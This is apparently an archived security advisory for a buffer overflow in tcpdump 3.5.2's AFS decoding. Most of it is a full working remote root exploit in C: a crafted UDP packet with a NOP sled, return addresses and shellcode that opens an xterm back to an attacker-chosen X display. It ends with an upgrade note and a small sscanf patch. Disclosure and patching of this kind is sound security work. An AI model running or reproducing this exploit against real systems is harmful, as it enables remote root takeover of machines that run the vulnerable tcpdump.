COMMAND
Tcpdump
SYSTEMS AFFECTED
Tcpdump 3.5.2
PROBLEM
'Zhodiac' found following. Tcpdump is a network packet analizer,
capabel to decode sucj protocols as X11, radius, smb,... When
decoding one of this protocols AFS exists a buffer overflow.
Exploiting this bug an attacker can obtain remote root access to
the server. This buffer overflow only happens when decoding all
the packet, and it decodes all the packet when the snaplen (option
-s in command line) is bigger than 500.
For proof of vulnerability we release the Linux x86 xploit. But
be aware, no public xploit for your system does not mean you can't
be hacked. Vulnerability exists, fix it!
/*
* Tcpdump remote root xploit (3.5.2) (with -s 500 or higher)
* for Linux x86
*
* By: Zhodiac <zhodiac@softhome.net>
*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* This xploit was coded only to prove it can be done :)
*
* As usual, this xploit is dedicated to [CrAsH]]
* She is "the one" and "only one" :***************
*
* #include <standar/disclaimer.h>
*
* Madrid 2/1/2001
*
* Spain r0x
*
*/
#include <stdio.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ADDR 0xbffff248
#define OFFSET 0
#define NUM_ADDR 10
#define NOP 0x90
#define NUM_NOP 100
#define RX_CLIENT_INITIATED 1
#define RX_PACKET_TYPE_DATA 1
#define FS_RX_DPORT 7000
#define FS_RX_SPORT 7001
#define AFS_CALL 134
struct rx_header {
u_int32_t epoch;
u_int32_t cid;
u_int32_t callNumber;
u_int32_t seq;
u_int32_t serial;
u_char type;
u_char flags;
u_char userStatus;
u_char securityIndex;
u_short spare;
u_short serviceId;
};
char shellcode[] = /* By Zhodiac <zhodiac@softhome.net> */
"\xeb\x57\x5e\xb3\x21\xfe\xcb\x88\x5e\x2c\x88\x5e\x23"
"\x88\x5e\x1f\x31\xdb\x88\x5e\x07\x46\x46\x88\x5e\x08"
"\x4e\x4e\x88\x5e\xFF\x89\x5e\xfc\x89\x76\xf0\x8d\x5e"
"\x08\x89\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x8d\x4e\xf0"
"\x89\xf3\x8d\x56\xfc\x31\xc0\xb0\x0e\x48\x48\x48\xcd"
"\x80\x31\xc0\x40\x31\xdb\xcd\x80\xAA\xAA\xAA\xAA\xBB"
"\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xDD\xDD\xDD\xDD\xe8\xa4"
"\xff\xff\xff"
"/bin/shZ-cZ/usr/X11R6/bin/xtermZ-utZ-displayZ";
long resolve(char *name) {
struct hostent *hp;
long ip;
if ((ip=inet_addr(name))==-1) {
if ((hp=gethostbyname(name))==NULL) {
fprintf (stderr,"Can't resolve host name [%s].\n",name);
exit(-1);
}
memcpy(&ip,(hp->h_addr),4);
}
return(ip);
}
int main (int argc, char *argv[]) {
struct sockaddr_in addr,sin;
int sock,aux, offset=OFFSET;
char buffer[4048], *chptr;
struct rx_header *rxh;
long int *lptr, return_addr=ADDR;
fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
fprintf(stderr,"Tcpdump 3.5.2 xploit by Zhodiac <zhodiac@softhome.net>\n\n");
if (argc<3) {
printf("Usage: %s <host> <display> [offset]\n",argv[0]);
exit(-1);
}
if (argc==4) offset=atoi(argv[3]);
return_addr+=offset;
fprintf(stderr,"Using return addr: %#x\n",return_addr);
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=resolve(argv[1]);
addr.sin_port=htons(FS_RX_DPORT);
if ((sock=socket(AF_INET, SOCK_DGRAM,0))<0) {
perror("socket()");
exit(-1);
}
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=INADDR_ANY;
sin.sin_port=htons(FS_RX_SPORT);
if (bind(sock,(struct sockaddr*)&sin,sizeof(sin))<0) {
perror("bind()");
exit(-1);
}
memset(buffer,0,sizeof(buffer));
rxh=(struct rx_header *)buffer;
rxh->type=RX_PACKET_TYPE_DATA;
rxh->seq=htonl(1);
rxh->flags=RX_CLIENT_INITIATED;
lptr=(long int *)(buffer+sizeof(struct rx_header));
*(lptr++)=htonl(AFS_CALL);
*(lptr++)=htonl(1);
*(lptr++)=htonl(2);
*(lptr++)=htonl(3);
*(lptr++)=htonl(420);
chptr=(char *)lptr;
sprintf(chptr,"1 0\n");
chptr+=4;
memset(chptr,'A',120);
chptr+=120;
lptr=(long int *)chptr;
for (aux=0;aux<NUM_ADDR;aux++) *(lptr++)=return_addr;
chptr=(char *)lptr;
memset(chptr,NOP,NUM_NOP);
chptr+=NUM_NOP;
shellcode[30]=(char)(46+strlen(argv[2]));
memcpy(chptr,shellcode,strlen(shellcode));
chptr+=strlen(shellcode);
memcpy(chptr,argv[2],strlen(argv[2]));
chptr+=strlen(argv[2]);
sprintf(chptr," 1\n");
if (sendto(sock,buffer,520,0,&addr,sizeof(addr))==-1) {
perror("send()");
exit(-1);
}
fprintf(stderr,"Packet with Overflow sent, now wait for the xterm!!!! :)\n\n");
close(sock);
return(0);
}
SOLUTION
This bug exists on the stable version of tcpdump (3.5.2), exists a
patch of kris@freebsd.org (27/Sep/2000) in the cvs, but never used
with the stable version. Developers were contacted and they
released 3.6.1 with this bug fixed. 3.4, 3.6.* and the CVS
version are not vulnerable.
Best solution is to wait for a new patched version (3.6.1),
meanwhile here you have a patch that will stop this attack (be
aware that this patch was not done after a total revision of the
code, maybe there are some other overflows):
950c950
< if (sscanf((char *) s, "%s %d\n%n", user, &acl, &n) !=2)
---
> if (sscanf((char *) s, "%127s %d\n%n", user, &acl, &n) !=2)
963c963
< if (sscanf((char *) s, "%s %d\n%n", user, &acl, &n) != 2)
---
> if (sscanf((char *) s, "%127s %d\n%n", user, &acl, &n) != 2)